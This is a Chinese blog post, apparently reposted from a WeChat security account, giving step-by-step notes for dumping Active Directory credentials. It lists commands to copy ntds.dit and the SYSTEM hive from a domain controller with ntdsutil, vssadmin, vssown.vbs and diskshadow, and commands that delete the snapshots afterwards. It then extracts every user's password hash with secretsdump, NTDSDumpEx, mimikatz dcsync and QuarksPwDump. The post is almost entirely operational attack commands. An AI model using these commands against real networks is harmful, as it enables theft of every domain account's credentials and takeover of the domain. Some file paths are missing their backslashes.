-导出ntds.dit(域控服务器上操作):
存在域控制器的c:windowsntdsntds.dit中。
1、ntdsutil.exe提取
①创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
②挂载快照
ntdsutil snapshot "mount {快照的GUID值}" quit quit
//挂载之后在当前目录会出现这样的
③复制ntds.dit
copy C:$xxxC$windowsNTDSntds.dit ntds.dit #xxx这是挂载快照的时候给出的,后面再跟上ntds.dit路径:windowsNTDSntds.dit即可,导出在当前目录下
//复制完成会在当前目录生成一个ntds.dit文件
④卸载快照并,成功得到ntds.dit文件后,就得开始清理快照了
ntdsutil snapshot "unmount {快照的GUID值}" quit quit
⑤删除快照
ntdsutil snapshot "delete {快照的GUID值}" quit quit
2、ntdsutil的IFM提取
①ifm方式提取
ntdsutil "ac i ntds" "ifm" "create full c:test" q q
会自动将ntdis.dit复制到c:testActive Diretory文件夹下,将SAM、SYSTEM复制到c:testregistry文件夹下
②将ntds.dit拖回本地后,将test文件夹删除
rmdir /s/q c:test
3、vssadmin提取
①创建c盘的卷影拷贝
vssadmin create shadow /for=c:
②复制卷影
copy \?xxxxxwindowsNTDSntds.dit c:ntds.dit
③删除快照
vssadmin delete shadows /for=c: /quiet
4、vssown.vbs提取
①启动卷影拷贝服务:
cscript vssown.vbs /start
②创建一个c盘的卷影拷贝:
cscript vssown.vbs /create c
③列出当前卷影拷贝:
cscript vssown.vbs /list
④复制卷影
copy \?xxxxxwindowsNTDSntds.dit c:ntds.dit
⑤删除卷影拷贝:
cscript vssown.vbs /delete {ID值}
5、diskshadow提取
①将需要执行的命令写入command.txt中,内容如下:
set context persistent nowrites #设置卷影拷贝
add volume c: alias someAlias #添加卷
create #创建快照
expose %someAlias% k: #分配虚拟磁盘符
exec "cmd.exe" /c copy k:WindowsNTDSntds.dit c:ntds.dit #复制ntds到c盘下
delete shadows all #删除所有快照
list shadows all #列出所有快照
reset #重置
exit #退出
②使用diskshadow.exe加载执行txt文件内容(注意:diskshadow必须在c:windowssystem32目录下执行,否则报错)
diskshadow /s c:command.txt
还可以通过以下方式提取(后续发出补充文章):
6、Nishang中的Copy-VSS.ps1脚本
7、PowerSploit中的Invoke-NinjaCopy.ps1、VolumeShadowCopyTools.ps1脚本
8、MSF的psexec_ntdsgrab模块
############################
成功提取到ntds.dit后,需要将SYSTEM文件转储,因为system文件存放着ntds的密钥,如果没有该密钥,将无法破解出ntds中的hash密码,命令如下:
reg save HKLMSYSTEM c:windowstempsys.hiv
或者通过前面创建的卷影,复制SYSTEM文件,和复制ntds一样,更改为SYSTEM的路径
###########################
-获取ntds.dit中的所有hash
1、使用esedbexport和ntdsxtract
①安装esedbexport
apt-get install autoconf automake autopoint libtool pkg-config
#安装libesedb
cd libesedb-20200418
./configure
make && sudo make install
sudo ldconfig
安装完成可以在/usr/bin/目录下看到,esedbexport
②安装ntdsxtract
cd ntdsxtract
python setup.py build && python setup.py install
③提取ntds中的hash
#利用esedbexport提取需要的datatable和link_table
esedbexport -m tables ntds.dit
#会将生成的表放在ntds.dit.export/目录下
#利用ntdsxtract提取ntds中的hash
首先在ntds.dit.export/目录下创建一个output文件夹
进入ntds.dit.export/目录下操作,把SYSTEM文件放入同一目录
cd ntds.dit.export/
dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt
结果会全部导出到all_user.txt中
2、使用impacket中的secretdump.py
python secretdump.py -system SYSTEM文件的路径 -ntds ntds.dit的路径 Local
3、使用NTDSDumpEx.exe获取
NTDSDumpEx.exe -d ntds.dit -o hash.txt -ssys.hiv #-d 跟上dit文件,-o 输出结果的文件名,-s SYSTEM文件,完成之后会导出一个hash.txt的文件
完成结果:
4、使用dsync
①mimikzta
1.一个域管权限shell下运行:
全部hash:
privilege::debug
lsadump::dcsync /domain:hack.com /all /csv
指定用户hash:
privilege::debug
lsadump::dcsync /domain:hack.com /user:test1
2.在域控机器上运行mimikatz:
mimikatz "privilege::debug" "log" "lsadump::lsa /inject" #查看log文件中全部hash
mimikatz.log文件中就是所有用户的hash
②Empire下的Invoke-DCSync.ps1(后续补充文章)
5、使用QuarksPwDump.exe
QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:ntds.dit --system-file c:sys.hiv -o c:pass.txt
pass.txt下就是全部用户的hash
6、使用MSF
post中的domain_hashdump模块(后续补充)
本篇文章对如何导出ntds.dit文件,以及导出后如何获取其中的hash做出了详细的讲解,可以作为笔记收藏,以便不时之需。还有文中提到的其他工具脚本方式导出,后续会出补充文章进行补充。
点个赞和在看吧,欢迎转发!
本文始发于微信公众号(哈拉少安全小队):【域渗透】导出域内所有hash--笔记(建议收藏)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论